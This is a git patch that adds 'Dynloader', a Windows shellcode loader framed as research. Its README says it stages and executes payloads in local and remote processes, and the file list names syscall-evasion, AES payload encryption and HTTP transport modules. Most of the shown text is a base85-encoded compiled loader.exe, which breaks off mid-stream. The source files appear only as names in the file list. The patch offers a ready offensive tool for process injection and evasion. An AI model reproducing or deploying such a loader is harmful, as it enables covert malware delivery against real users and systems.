From c3ba21aa32569d4963dc4c2b75cd6a057ea0d9fa Mon Sep 17 00:00:00 2001 From: "(Havox)" <135835548+AbishekPonmudi@users.noreply.github.com> Date: Fri, 10 Jul 2026 11:56:50 -0700 Subject: [PATCH] Initial version Dynldr modules - V1.0.1 --- README.md | 6 +- Release/loader.exe | Bin 0 -> 99328 bytes build.bat | 291 +++++++++++++++++++++ lib/common/hashes.hpp | 87 ++++++ lib/common/log.cpp | 141 ++++++++++ lib/common/log.hpp | 34 +++ lib/common/nt_types.hpp | 110 ++++++++ lib/crypto/aes_crypto.cpp | 312 ++++++++++++++++++++++ lib/crypto/aes_crypto.hpp | 33 +++ lib/memory/section_map.cpp | 237 +++++++++++++++++ lib/memory/section_map.hpp | 44 ++++ lib/net/http_transport.cpp | 361 +++++++++++++++++++++++++ lib/net/http_transport.hpp | 31 +++ lib/pe/pe_parser.cpp | 125 +++++++++ lib/pe/pe_parser.hpp | 59 +++++ lib/resolve/api_resolver.cpp | 65 +++++ lib/resolve/api_resolver.hpp | 19 ++ lib/syscall/tartarus_gate.cpp | 236 +++++++++++++++++ lib/syscall/tartarus_gate.hpp | 96 +++++++ loader.sln | 19 ++ loader.vcxproj | 98 +++++++ loader/cli.cpp | 178 +++++++++++++ loader/cli.hpp | 36 +++ loader/ingestion.cpp | 480 ++++++++++++++++++++++++++++++++++ loader/ingestion.hpp | 30 +++ loader/loader_core.cpp | 269 +++++++++++++++++++ loader/loader_core.hpp | 20 ++ loader/main.cpp | 69 +++++ server.sh | 65 +++++ tools/hash_dump.cpp | 16 ++ 30 files changed, 3564 insertions(+), 3 deletions(-) create mode 100644 Release/loader.exe create mode 100644 build.bat create mode 100644 lib/common/hashes.hpp create mode 100644 lib/common/log.cpp create mode 100644 lib/common/log.hpp create mode 100644 lib/common/nt_types.hpp create mode 100644 lib/crypto/aes_crypto.cpp create mode 100644 lib/crypto/aes_crypto.hpp create mode 100644 lib/memory/section_map.cpp create mode 100644 lib/memory/section_map.hpp create mode 100644 lib/net/http_transport.cpp create mode 100644 lib/net/http_transport.hpp create mode 100644 lib/pe/pe_parser.cpp create mode 100644 lib/pe/pe_parser.hpp create mode 100644 lib/resolve/api_resolver.cpp create mode 100644 lib/resolve/api_resolver.hpp create mode 100644 lib/syscall/tartarus_gate.cpp create mode 100644 lib/syscall/tartarus_gate.hpp create mode 100644 loader.sln create mode 100644 loader.vcxproj create mode 100644 loader/cli.cpp create mode 100644 loader/cli.hpp create mode 100644 loader/ingestion.cpp create mode 100644 loader/ingestion.hpp create mode 100644 loader/loader_core.cpp create mode 100644 loader/loader_core.hpp create mode 100644 loader/main.cpp create mode 100644 server.sh create mode 100644 tools/hash_dump.cpp diff --git a/README.md b/README.md index 7ba3911..88f259a 100644 --- a/README.md +++ b/README.md @@ -2,13 +2,13 @@ **Modular Windows loader using C++** -For Workaround Check -> **[Building](#Building)**, **[usage](#usage)** and **[testing / demo](#demo)**. +For **[usage](#usage)** and **[testing / demo](#demo)**. --- ## Overview -**Dynloader** is a research-oriented Windows loader for studying how payload is delivered, staged, and executed in both **local** and **remote** process contexts, the currect verison support only shellcode staging, Planned more implementation -> check out **[Planned features](#Planned-features)**. +**Dynloader** is a research-oriented Windows loader for studying how payload is delivered, staged, and executed in both **local** and **remote** process contexts. The current version supports shellcode staging only — planned work is under **[Planned features](#planned-features)**. It can: @@ -217,7 +217,7 @@ Writes `.enc` + `.key` next to the input for lab packaging. --- -## Planned-features +## Planned features - **Manual PE loader** — full PE / DLL support alongside shellcode (`.bin`) - **Manual DLL loader / remote DLL ingestion** — map and run DLLs in local or remote processes without relying only on raw shellcode blobs diff --git a/Release/loader.exe b/Release/loader.exe new file mode 100644 index 0000000000000000000000000000000000000000..6cdded9f3e13a17816493ed27f47276f3c771459 GIT binary patch literal 99328 zcmd?Sdwdkt`S`yf2?>`lL0E~1vS`$36oc^+4CpTG!Yu4U6wtJaMnObHjj$WAiUyNt zw&N<^s#dGm)=#yy6m%FVWv?MLG ze$d3}*Uj=&&b;~BnOEKDnR3-lH{BfZTz!paX7nb{bvJqZ<0p7-ym{(1gL87a=Q~Z$ z*zwk;f@QDOB>oRtIk={T=P5<6-ZfZVU%%^gbzOSb3F^A!uCuvbRQl>&XK*c8_G-;v zxjsAO<-1N)*AX?Rs_XK*IJXKQxlEfXg-Y?yjz19)HpGi8^~+C%Afa>2;Rt zT}uAPF5R|`Yp%NYGHm<4i_6tj6}4Yo4ZIa(@-N+0F)#6v^DU)zBZ-UDb4uja^{;Ew zTzS&Lf;87Ixz0~>-P>K>IR6%=x&FazuAb(qOq3nrx@lCJ%LdeWxyR)ybKp8cb=Tm? zHFF}oICeXK1RxoEr}`e3t77oXsaHj=a=FgEpZB!sn$Q1#@;~LD7xEcwS97&x@}io7 z2%>J10k!}0x?Bx|EA5JEjEvRQllPIs>UjsxoHcU_uM|!e@E+W&cDW?}d8OZ(*UY$? zih?5-xKj1*I;_1BiEsY@e%0eSK}fqLyV2$1{w2Bp?hTjgP3NB;&m0s@bFE4~$0p|I zhGPEwyihEZ@0oDPrFzY0MY{2=9*^W#=*D()tz}t(;x&3KlJ5x_O}g=xZe&~TCqANs zn$<;DUU6BnF&folm*;0o-CU=k?Lnh$smzyd{M&Lz`6^_r(&O&*?r9V?o43)tdT+VQ zrAcF(S)SctzRnxt@_esuMDle7qi&t_)rSfR zI->->BMQ&brf8$L zv{B#Q#x?dE%RNzU4o4^W{IT%%x0?dqm$MbT&u}pZwD)!30~@^uzCR+oYkBR!yHV8? z^j;-xY~usx%`5gB%l&(~`F{oP^>$Ohn{C6pH;cYzwD%QM6}FkdBg5OD*A7$z?WTbD zC26Cey^T!!jphD&*N=x64k)M|e$>n~Xf^K7FNtWnu^DEXDvcjY;|#pOA^IcDkNy3Y zTRMMVAm8u!?ni$A;9=i?)|Ky{==}ZV`FVP5M!x3~VchEBm&s>AV~=ip3ioQY?+NSG zZP9Aq;wD_zpw+IGlGyF}UWL67ysGBfxwav{enQe~0IxF4RM zA(fry=R4`ARA6qOU+;uTmt5+*M4$Ir1=V#UbI0|Jt$4K_tIaQ?~U8GCg> z?jTjGEKi}luX^}}ClsIQ0SQ`dIt9g_YXiM5ZD1`QNsCu{^|~GQJQZ)z)YJItTg%a3slQnL`?hhJ(l|$)IOixceix$ zm}=EqKO@6yx!3KGN#omPnQoV>wjnY|XxytUYF6`k!%;_H%8~X8C;l=GJs=(Wbx+YX)hHR{GPM`JN7?B+Bhv$M+w*fn!yr9= zvBJj+^*;J}X;Y+^&uR#iu9~@`xIy%vF)lxtzGj5BxUbI`H-K9sbz_7_uUY9~N=sKpw3-85B13e; zWv$>bx)%&m`{ZT4_b$IuIPGo3yp;4sOkD&m2nFlbF5U2YTHmH}lAskltEybH%o94o z)8~H`ov_X$gKuPz|<9fE%yNl(%0&><7Ej6n> z9jp!b+qftjn7%MeDk8K#!#v@9H%xuwrs(c;BkDNY1i6 zAtqy^`K3@J)&n+Blk|6Gr}pBRE8rlSkOr_T)?r~OO11yc%P|5=lTVCp>iGn`4bCUV zijJ)Tf6ZsQu&2jd31c8>e;4L!Rd5t0+?$>76Ajd+QZ!Ifi2<=5L>p-_-5_IcJ(5(+)1>v4ub095pOgrHk zZv}ZF^Vl*7O%{ScQ;K>~1be2Ge1|wrL2oDf($g*)?gHBh(GZ=JDi&^N7Yh|XAPe*) zzl%IjqE5+!F387D@?ec44;s>&wMD!~9&C*CZv zj@It^BY-c-564)k8xai>-#?U(>=JD~q?lWj1lQ19(wJ;ie-N zryrrX`amc;y!tk}Jg@q;E}Nr6s&7kQ5-l`t%c!#=`F?mNo>K|f48YvA4~mxF#A`_Q zXAdnRLt9P-HMD6-{2w;HTs6M#GCr-gOn4+Y#tyGSyh@C7SxX-tlKR6p$#*FVTs&J8 zc>gIdm?&_6er3pL2^xD9ZHJ9E<6ASQP07*d&<@mnYJ$2w3F@|`a_?#Lg}hH|CvRwX ztH|R?NK<1QY|@wKc+TsGaKoNt3Y0*8FKEmy*Xt~;_Ew6F%;~N)*V53chpq*rA|vxE z9=R*g7H9sPTRrwdzG$^+lno2TUe2%P0Wa%pvEeQ-FN0;4HeY>ecF5RcjuYe1FtN|H zS{xxnBBq0Q{yH{-&Q;x19LF9pxQbjZm{5;T#4xnpp^5rO zuiQVP=Xyh4VJ6y2~f z6^?0PY=D!4MxY$zKmNUKmjV{^_l_C++Oig=we}A-WeJ3e)56rj)iiJ9-B}GfO;?I( za>2`td){iH9N(3`$(?*%Auwehic&>|*)nqNH!=rpA|w4BsHiYOMJIHmqCU`&R@+P; zNjmzx7;O%HJV&7;)Uvd?ho#Dt@x%1=jq`?z#iP~DqexqPUEe_Q4sG!*UG?;q;)ZFZ zjk9JX>=&Q57;n30^}O5H=SfT`s#o8>en2GZ^Bey4`NdoO#>DlWPscndY-rP4k!jbLNxKN^E2~ zXv4~I?6*0dmQq--dia}DA@NXbYzzrK+*jT>o!$Mm*eM_wrDkpb#(qUgO?}yOv&MfRHK#i@*CuL0K4lBj8b?-OR5>J+(D~j;mms{AiFi)^ z)yM~NYu$Hq7hKA8$iIPl;X6ogeZ{xw!P3oI?QA7ybFP;hbZX=%pLAy9w*K%%X)-2ekf4D#y!D(Q7{1#n{?fdx&M(TV5O6bYs21 z1UP#9>~%py(_=``bs-~j;Z-s|_cL6ArDilURJgKrK*)H5t9k0H!V8&ksS+QT9V&c7 zH{Le;P^ud_H%loJPe;AYlKa9H`ieH%?@Q#58uPwY;NnyG+Vn!qua<1R=D@(&U2!l@ zY3;r=lS=DRa+n>><`*xyTw~%rztUsJ^`kBE+sk#MQIF;1s?K{3)bZjWBSC5`CtV7$ zbbN6BDl>A zK)>qYzZA!i`3)KWPRfwM8>ODekYO~840-z-!GCK~hUC~4EcbUC5Ri*<-k=d3-HDy- zs>PA4LV*O0QQ5(vUA5ZlcrXIn5HlChnlCnbQ1L!(ap1ja+@7Q@3jEVoKl+ql?7U!X zb~gWW`Jd;jpX~`6mt+SEkJe+a=5G?f=dH9fxqRr_gOrN>K3`;d2=(0{Z)20P^w^X6 zXmpp^^$U0e@+%6(!&#z(seqpl-i_WB6)Y-w*+7@ZSJB;;yXi`T|0UM}YW`hcrdmA@s zn|iSkbz{VzzVcBJP&yF zd8=%sd?ZM*+*8*mqeGVwGGGfNcti2PPDWiqj~E_=Fhb&eAtuAS1xW>JDAramaOV|i z4E^viAI}Inj=6T9wD11-E5OfdNsjrOH)V*7`Cr_~n5iaX-l@ji!b8Xi;D+UV2F}bY zKa+7E9fnWon%!FY8cXbn0I3E*o3JYHYtY; zhj_858We_X*5R9eVi%o^gu^b{#VhP07~hz*AEaFfKaN3 zM=w{j`fXAo3|OZ|hD2Cv&-|*rz;gWVBw`K{O;a=fsf5)QW&Vv8gs>_^5B^$O6NBpk zZtVC>I@4CXBLo>@$o;H?A&0$h2WbW+3^`m9eBGn8fi8*DoRqZV_J)kN!gX7s$1ujb zfXiGDDW28PvKqvNj51H_hZ4)HTz1jd*>?)5>p^3!s3otN0Vge6_RRXvqy)?UYrt8S zwYIW^XPxJNDXOw9eHb3-G5JN>D+PpFPyyU{PKaK8OH})qPxsNi7~Vw;yhuo{K$*`? zA}flC9%Al`hGN9SE%yqVWBBo$GJ*U=XiNwNASK$0>japh1S-T@E)lB8eV*=XR+nA5 z%9tnt%AE7~P@=~D=ysW?YV@4-j%xFAX>&PkO3~ZYy+I28LIFhbxI9A==3kh<)>!cl zp8N1z+rR>p_Q)!H%UT6a%WX88Fcs9*(Ko|s&2lf62ujC)L`jD5u2X#G4$&fnbbds9 zrgRu|qvA6&aSl4iXP!m89U(sR6oAlkKh;f#_=9tA2}*yxR!}L z6cK?<6tp~YS!MehzKOWBwp~;p@vL~xje@O8uw@=Ag!2AQH$>WOzOHz2o7q(gSFGRk zofJM#VaPDey~wR)r;R@DIVpTtYC;fm%y*^u&E}(Tlj6Cm?k@8UDSYbU3~a(?bGj;Q zGZ#wX+0XU3P6{We!ae2_Quygp87)$HfwW3jcdMF>v(A^oQ&r&}qTZ3y!gZg+E;YC3 z&v8YL3)lTCk{2e9&_@;+dg;9DCdkNuB)Xi{K&+)3LtTa%Yn{2wqmZ-FEIk=ji7^I# z$LE=6@T434ir4s!(b>MGT`2b#t`sL$Jj_e;)C*6?7Xw3tn`!uQ8m11m)#yCEu%9{T z6Ge=@cr{H_XK$WuCr4zSZ?f-l@Q)@Ku zGJPRqj3-n$CNE@+pzkg!qFLCRUJInxCq5Pwj?C5z)AgD*k5;#vK~dn*3rFTrlB?Cd ztx6EHL$mNBc`%O##YrMqDqI!|Y&Bg{nxKN;Q5rJZ%vRye1Qpz;3QhAJDNNA7t@igD z%?2q=5Wy6?w8{LVlqRSkY?tmdAC}St8Hj!g8N19oRaJ)!PEduDwjv)RXUMD<2r-~uwX31xI5g`ObjQj}lIKSg#o1$KjAu^v?9!hH>I#Gdk5TO@w5 zoH}AxNu7lH%?zqK?yKd3F7#Rd2o(P-6uah2uw9t$N7WXIgw&06rJNIOqpwwMq87LI zV#P*1Y;6&R1m_nwXuU=Mquk>Y^2EY1hxR6`!XLY4KZI!nP>NxzaD~t(lnGF}usL?% zep!I`O1CAV=Iy>I@`y=fgz0s1ll7J;T4RG5I1$2*U2`yGOtMg@g=o`oR-kaL-K?0D zs#*F!DCU%xfk6LVWgta<3JO9jf!i$;X$gNx!#E~fCv8j)3G3k~6&$JfHzd{PBdC8z ztH+phPykqcf?y3h2wO0oQzbR_erQ>LLxwVZnDzopB26#clyE*y)(su!V})L0;(W9X zoZU;D53~AN(Z;JjAG zKs!IaE;X*A#!u$QJy3|0Kx90tf8%pSVvBH;m`#Ckadu%JF}w=QauJvY(VVf_VWJtRYzeP)8GyMu z!BZ$wS8AQ5YK=s#j`gHe+i|Qw+a#8&WDIyaukWG1vsJ*!2G8hLf4PWGRvAk#%8g{# z_t!07c58PDCzhC3Acl2AGghrIv+I?JP1fs@TJPNUdb$6pUN5`eiq^aiz4o?yRck50 z%$lU#{Z1u>#gtctVu^Ssv0#qzp@J$eWxUqYPsf3IJ zsJ-GXz9qRLPvhZS^H13E!J0esvZ^wJM!(kdpsZm~zEIIvAXlHFXJF0V0x6(Sa&i&* zsx1D1tk1+I=JeESURwbAUD2$wcC<{)ly)bzNgI}X$}&e!iZ0T%Q&}+hw=5>;|JHi5 zA|tB~6?V-bc1>Cb_As9h%l=BcGf<6+o{zH@iRw$}PX67gm$qs543vJH$lU44$Xq(5 z=C7XQ6_&IF=l&?TsA(WLw`-Rk)7x4V^+cpbEKse-2asPec|MMYD8gp*DPr&x)F;3Q z5hFykQBg)yw^SM?R6$@Kq@=I4+&>3wmJMa(nsgNpd(0{iH+WT8_zCoJO>f3nS%$ra ztMWB*1sFgE*sNW;hHH46JeYjnY<6W?0`pheJe`?yDm(@zo+Ehj7}zC{5Uw`wAn@kY z6WbSW_#dq@(aaw{n)zi{fp%M{bWh|Kf*6>O-)2>v7sM`z_njngB$V~Bos_k9k57n0 zqJ?-b&F0$Q;9th3GKl$WI%mV2XwqWAe{l-fb_EmR4j&0rvYK)bhJJq?SuKAsShz2 zJuw)+8jLfR|2&joM;r>lua3QS4zxC#^>ivsr;M0*ya?=@#s4F7^^Wd5K9h}}N~t5V z(A22IA{KSj<6Nl&w=I#`)6{wqPtS?eB&xw*!dVL-*T;xmIqh2RJ&P2rDN}VJMBm`h z&qDJGBJ+@bUxwgHC@uihSn z3Gnk1qu!w&42YVJM$pl7KdqxP+dESH0mtoJ*y7!0 zjLpUU;jYXdb5-AVyDNfJU1x@sc3x+>GhS9SasPCY@9v{{LdUl&KoW1>{hI`L1b$^t zcv#%XW7(8UB73$kDo8=^VY3}*40gikjn4u(5T7| z#`|8#t6^+UiOOFSr9f%l98~1iY@b> zzZF@zOaD9TobvBZlBj}(q^_>k?$Qu}!J0eruubg*gR1nfaV`R4Z2a_7P!oFWj$Hnu zeZJ4q?p8!@yrI`LXX&M@s=Db-E2PcV!lm8SbZ^s3SEN`j+KBCXd~BLphg={P($_>r z>hlh$6}z+axQ_+K724f(>f2`X&4;LhC6Sfzm*aD=WOnb;W24*j*afX_^N&)4NL+sK;)~RWq{D+=$^mKAw>uGzh@9(x@{2o5hKhM8<{Iqkx26seo4|> zG4bDjt2iwaNMcE%L+I8m5 zQbVCm@WGVQ#W=dy$RbeCxPp$}74rMdQ&dwG#yMncG$tw8JZ+ocCxdWFDt<1?69kF% zLku*nvw89(WXq)wD=amQ%wMHz4KAQ$D0&!tC=_h~y*B{LcuTgqN3y zuPJYiJY{*O8(AU-L-BLo{6LJfvoRf2N&EpN7$*+>4nvP%kj8#%G&Rk&CbynTx7FQf}I9 zb=?L{)2CdN0ZdG&y7kBJ5}^Ds|M|q(@i3pvua+iR5m7Qu;Veb|OU~ZaZQXi z%Y7{k<2v*K>C^d=@}zGEd7@ILx0j#+AA5mSGdq8_W~p?=2iqfOFyCsi#VX6IX|rTi z!H}2OeJ=`s;{!duBJPtUceqUD1}C{q=tuSuAW$>^UFtZC*y_dm!U7^3z9rg&O$219 z(_$o@H9XyjN$V;-8@`~Mi|B?<>Xgz)u6qS`LzxDRBX3Xh*3Y`da=#}lh&XZMB=d}= zDA`T{?oc@U~Cx=(0B6@7r^wus6H?dlE^?kHjvs&-Ce@XNO2%zK4z2_$pP!Ke{+4##rxPZ7o z65E6?{P~_prTHwg$jn`<8}}=0$NRkG9Ps-FQ^UF=X6h zBdWKuhsHA|45aaxMTpc(BhI*c=rN3urjglv;c9g=jHYx^Q;8xaHbu`0VlV>h;%ac6 zcW24`+WQ&oA@)icB5J%O6u+g?CpnROWCxhBJv6i^n(HG!E!thLxplfLnyya)2uy=9hRhT(4UN&|STO!mOPFA9a7vS&mL{K_7);+EvI$2T?Te0a*8VnF z?mjTNUbs!noHAK+)%C(wT`()q*g&R+yd_^s?F0(T95R*`*!9jHip`6BSFlvCCXy{p zqStw5gwH*vMhK?aa7X@=ZmcMLf7SN4Hgav}J?8417 z1RUTsP!`K2nj^_0RVD5D!674FOFbL_4AMHAJiI z!jODQJFH}=SWo~{i?u0Au(CxDBywW(xCp`V)5%wUR^&*eTaC%ypWn$iq_Q!2pgxpl zXjrSG26(mm3`n2*Lxs)3((NH_#JY~~1Pix^;v>_>#QSzL*JD}{;$xgjcw6o(VF(8o zbq6ut6-pHr7_@fx{nCp8`0ZBJ?9LINE0uparKYV*bcMjy4wd$LUhCi5AK{k$df|3G zowSP`cMR06b=vDau|^-QrWeco*&pbO7hR=Z>j&DR$yqHknc#%^PcUxyFA03ZZs9XU z@*DT?!MxQ%GRpDqNX|)nU1%2jLy;{UJF-kCT9>|Arn#H8Nb)c-3d9o@yW{r!BCD*# zXoEPSfW~9;J)uS1$1;z|+GKf3pQ-ka>QnTJ>J&%*Otw^@E$Y-&$2{kaX z%mTfH2(0Ylh8k$u-zKf6m_iQ;ZbU@Q;&tREz2-I;LGx;hFc$t!fK1?glgwdaj1%Cc z+{oCFF(EG$A6w?FKR;-6kz}2IdaOqA71r^T>|i?dXV_BcDCxZL-I`Um5TpniX|cRc z-2;hYSwTXl3M=TWONC}by%;vufC*(79nzF-9WZ4=Pv*mTCF|WO;9N}un_)x1U z!c_t<2-lG!K8&%`5n4*|3b0=7baUT?i*ecIfL9;RrH zVp%cZE=p$e7l;*CCXc$jMbV%3TgA4g!M2f;gde7BuZO5&s9Ch!V>7HnRsaV!H@|HAxD4i^Do8yXyTJo!=+?VVwHR$NoVNm~oD| zC}FXnnxCH>7CSdvU|y%V4ybl7Nai)A@K=1PxF51?wb6Wp^f7y1n+h;f((i6*LYN4e zYA4(d-%F&={{CYUcI@xfsu16At@|(EE9z#{zkRFYsLu!ym_u_URQ?0DQi}<3qVg4| z+e%HSvON?yg4l(~7WaXt@dUm5nq-$AR+JQ)K?My0Dk&8lnS%kP)%FqfDuKb&h5wq* zykX-&*dU?{U1G*dsLHqw0D|xWdE#$`$OXS!HuZ*$!6D=0aN)=LaxfzQ2nRI<3s*~x zdlpfHu*o24rzlvsUN(nsCM&&3FI^w;`|%<9H@GWtC#H1&p~CVLiP zUdq~v$IQgQ3f5R@(OkXsef%_IwM2G|4Xr1JjHwdta-Pli#5*W#9UJe-UXl$Vu_oU# zn<$i}AXMzREDrs|AkLB+nay)$IiyHWZ&VS!c*X@>b6YEQ;~Ty3t5E5oSzg`vK3Hfe zkkK6L&5NYhc*dFPgTjM);g{HHvPFz{=kSi2LE|4X<)`q}dQvbxthYK7VxxI91t5{M z>`~e6)m%~vdn?(;`fhvdiXiw+nC4#cQ^21 z>teyu3$#VPC`e>>&kGl_ifQgJ1PCHnOf>=1!j(>mJ=d(8{lvL`6EeiaJuk$3gL|g$ zc=1e74x`|tR2(tY#aq;bt}`bI6!8qKEU6(8-~=Ykts7-p_O9k{Vn3CR172B})SVa$ zE%xsC0^%5~oz3U{^djEd%zWHbmVNY^Qdjg0yIPUuUPCoiq)|762h55oe89d4A_kWG z8F_E8S{Tk|ZJ7j09!qb@n?-erD-OsKj7!X5NA<1wu1H_(LiwV!GH+H6`}mSoaABb# zsmvM^kyHW|mV1DLhw#f-`z>TvB=hro=+ZW;tTIJV9`;#0eI^6pJI2;i0fk_5a%x|l zOMRjgD%H@u>1`HqQmiZJ*B~!$O$4hf&Gv3APe*-4$9XEeA{6db)NMz2G zBxkz1A`()JF$N*>K+;(tUQfsvk|JIWA5wo;u#g5(zN|W}(rV9E;x?EYEM(Ky?UI^~ z=)FCEdMG|8?FYs0t-nyzq}BdiAW2zIN$BXE!O|vlv^Z$!XiIc-X92u|Pen(sGYh3P z))0*K01=9xJ=CWy>Y4AWXOGuL5x*jc6Pvq^LG_9_4q=)p>R)t#D5b=A3?{YbC!<@8MB=F74+ZCfjK*Yx!^cRGT zTXIwJzY2H%1BL&+By^@}cNGZsiISBE<2T`~fPXEiv{^z*tQ!**YfzZ>>%-M5&Ja$5AOwMVwpI|`U0-^Nkc(JYe@8xu z&2mGBnL{2nn+xO>Q^AT?SP*apU~I%d(yGSm2J0Yind^};!T6%x>$6N#}c=*&qdYjPIE9Xe*^1>99n&8X^QGG7TQs zy+ENHj89NH@B7y}VO$u};n$=k5i;2FaX>G9OS@+)V^%9{;_!D187o7DE5gR6;O0+* zg3N~5Jy_$*CE^j3bww0IK!=Z=F@aD%jW6C{p!6o;o1IbwXOdm+2|6c1oHIbNH42tEVxR*pN%Jt-DI9Ag>(MYA8)AH zyjm5G%r=ja(!uFN21sehF3mO5rF3Js3QNA(Jl8JGGe75M+4vp5xm`*u`z+J zf|Gh`Zp(E=;OX1)T+CO^Z5~(TC@uxANRNeS^&`dX0F!4mByUBeDt{x@EsejBpNq4; zWKSQ~QVwAk>4m!>{s?(jY71=LuA{^Y+9Tvo&VB)^u6PGR!c%hGEhlkM!ue{KpyfVR zf|zPc>@mzeI|ElPqru}ACO5!+3o%f^a<`}(XxgtW9_5i_GIAR zcOou*$>hhQr%P7bW1=nMoFheNL-AUcb`h^V{)iMSY`*Q;=H`P((%HTh=`wIY7K;6g;3RO$| zf;fOV*?y+VSQ*Q>V%&Msb;gJSswc(KYM>ApJnqn-(Dlx7B=1v z#cniNBH1HLB>wtI+r&}I;hrUw1wmuI@rVFwtjs@QSQlAruX~I~WHjq+a%xv#4$Ehu z(z*sI)kfG?0z<~y){=cIGopBlYGvG6K}2W+@QUSvMwleR(QdlZdtW0L#^nZsx^Qf^uPJBGRw zr0zJWt0)WF_$&P8Fi`_z-o$6VC1P&Dgu8f0MX~40t+(nL?l{j`58@2EP`u85t&)x# z%ov*skMOO0cIPICjt%M-k~135*|7pR8vi2uTITZXZsj>BdiS>~aD$QE5S7hus@_x7 zYgr9@>&8K133^RaMvz!i-2Hyys~PeYm_G*le-@{o>6#FAcTj1$=kQKKA$SNv{Y$0i z5G}$*SQCK;wP#kaPCCwcu$7ob93XKI`A8J?%+k~MhT_Arf`$8oMlbd)6DHyGwLMj* zA`l3sm}MMa6f}r^upo*_yUwirg?u=SytF&ATlUdP&>)4Vkfq?Qdg=bELOeOMf;x6C z(SAv4Q_!t5$Jk$z8ON8es{V%!;hi}|s!QP?q|kx!fL2q(qYd27RN%H%orGO0!2OL> z@SuVDze)kO(cCTOUHU<3taY;F)aiwL6=46YIz@VF;=K*;KLPAKK4k99mr}kug|YRZ z+hxP^n6cS5(T!dt~jgYKSbq8R2aS>-O+w{wJlGJeo;m?8d-0(21C{ zsfanYxqP7G?d7TC}dthQvzr2Y- zvFk12NjMHg!mo(u#9sq#3;twpvx$odAhzC%H*h7ksrThNZ?%{Vso_nrFB0nyq?kQk zFXOj!c^`rM^;m6x5ynI{)Y)~sA!SKQ{Je>9HDB*fwfNY2%Pk9tLT+Niu;OqdkJ7xd zU-CNGFEjGzv)omwm^AaXeva7^s0bM!ioH&vrMK7;Kd@cfaJrH?N<4yiW~~BDZTtw6 z0rlEFjTT6kZ`5&E>;EUkBX3#J1|Bk`h{xIkmoAbrUxl<==w`2M5m zHvUlur3t<;_AEtJ6M|hqpkObdKmrA82oyB57V1vM>~YDA*+bMMB$MijW}0znHI}Zx ziOtFj$48|p@z`vxjM!U*v-m7%^vw^06^WILT<-_>&zCV)ogIu%B7ZS?p3Zpu=>vMr zm&6FH!_U*%Xg+hjB3S54k_92dp34OQe_sgJDNOR9zpqWQW=TKlu${+pUr?v+V2sad zxf78bt`JG^?6vavWPXFN-MrPpeW{Yb{Dz5m(|r2Rwv(qg*Zz~(ALbmp^Fsc%{YZp) zpA}%;;dXrAC*gMFW(yurUE4x-d<{k}5*Bvx0_bwh+F6Q4eM>BGh6Tb}`FiV;0um=| zTWY=-O#ENSf5|`D#Q$CV-@||M5PeJ2FlMyZC+6f!97c<|-N}sP%lymM}2Jf8qoE#u)8!qB46MfZTvxj&mU|H^;3DP76AZOxoOwI$m z2^qIBnZ)NgR*}VL^PGbO(#26Plfwt5i`^vm%63oxHpDUD&I_oT`(PnSQPK~SR-&wc zwko12&bBIDPV$&d z`ckV335IMw;<?eCN30%v}YPGU50YcVM$G2S6kJ_x>Rxs<_#EBSIiz%NwBjdR1f>|8n)kqfe9n=O7=4I4Yt+vdQn(?0% z_?Ac~Ox0ynX?co!VEOxE;V{bv-Z0mv4X=u-fh-~b}OA^{+0*!aCV1&T9f z4Yi>taG-emW}uKJkAUo@ylbDPV*&9D-x5_f?lu9-d`v1Nh_r;$1Ub8)a3y{KQb5`( zvL<-sh(>Ry5S{@m9%qd@kJHP?BoMT)h{LAE_PbKfoi1>`&x1>{t3R(dAQmunAK6_3A zd=(?!JcTAY1D(Zbpy_PgmaU&!@A0DOv8AM9``!U2wnU+(*lFF`VopG}0-SW-tuga-G)7u$H-E|S6S+&CrnN!vq=Jc; zzsw!ysNqYQo1RDp6aQ>iu-s2_<2Sw%y_(~tu4yd5wa1(-l0Teeayt@$Kf3%WlRxG1 zr$YWrmp_&AXHFtejxsOLr6AQ$S9EM$H7yKb7 zY&al=?ZUsY&!WA{Qy;k+%>(0g{1gOgWcJt=&&ahw`Sv>6fKW8vwi3IH|RQ zTC$PkPP=L)ja)-NW8~el?JXd_3GOJpyH3FqSeU}yCwJyi06FsS32?1Nyw1HE?EN^%_Yl*u1#JR|61fg&glY8KY=EmQz7>~xKD|Wsqs{7eLE!iFxX+6#3U>-KV*-6EB86iAOy_Szj1tTVI0vg#g_}NpUiKA zB+xX%V2T&XsBhOUYQ0)k+sk0Sm$H+ZL@)ka?Ksr&m;!zSr(%2EmRry9?cb(b8<(u7 z0pI>zD?a7t6IM3t>Jsmn+hvXav=zSUh9ZA`7WLV7^A0r|v(9Ke?Z>c z3IRQK1Af~LIAe~sD{UiH%n{Pw`ofm=3i*-zK=5_uUH;vv6Z{faZmYZ!SB_jVRyOhG zutS_rL9bbZL*lJJ{rDClBH&4Rb?g+VI=-VLf^JFS2FcB*yw%|#;S2;W! zOzCckB6KbH)iejCbSId}xtToR1ge(CbVO(_2qnTR%TP7WR#mpVCz#S%Pxi{vFA)w{ zB1oQ3?=E_5X0Dibv6*6HvSQw#-37n8f`#zR4Ag$SN}L{Wz1aiD;U4eku`3xW2{AY4neSmqHD(mU7=W&e z^pmmHa10L1$L4Z^<8PYRA^P4l|Mr2fgB|Zn?DuB(t#a+tM5GehW2bNIqCD9etr1Yp zRokLdQf5o{Yxgt?J&N4O*JGrQ2zq=9Jw$=JYQ58B;>sk-sJ2KtfKqRG$0ahT zW|18wsj@?s&{R0+0Qs^i9F)mQY3nJ636N2(OFG4Z=Fwz`01)vYg(Z<`%@Wr#7hNr# zAu>{7GoO)YiaGX4g_nfP_g>;NIOUTh$L%$rq(!>#^HpXF1z_7rdwaUJnMM1WR@@q~p|&Q^px^-0*ctt4z@MKX%lw353y((CM- z=pGz8cKWQ0U~KGkO4-&uVS315E>{K%8`*k4`({~u?85IM;p%_*uAjF7qj4bEK1__nq z1!MhNvw}@sgfC>>vp_azE0$)I!KM*d=Zq;fA~$HPbU2cHF5g7(>Lqu}Xmt?xaT0NV z6~u8U{VHG0t}Y6jpw7moa@u4J1&Z$ke&Tjq(yI@qYqfu%fb$8DmMyTPTv}S)BdW?uy|AhE zxPXLIYNddHBXcbu$mZiFpLZ<-;+Lsq9byb}w8-RNHIA|o&l}5XuVho?!1jLRZD_h>O z_f2*WW!Lv+OVGD$3F4S8H;Q*CPJsS@CC_Q@YkO}9>{c`vASitYK3jA@mVO7 zB4T_*gFQ2EknM|>b>Xa&_4w%*a+;~6Z(FTX^?Bc`q_#4II!SHowY$kXbG7yn1%q<= zUaL8ZXW2tgZN7hzkQB5frWsj`q=xS%HGFhiE8DukUi=ny=1I|O9z~4n%@_E9cz`l& 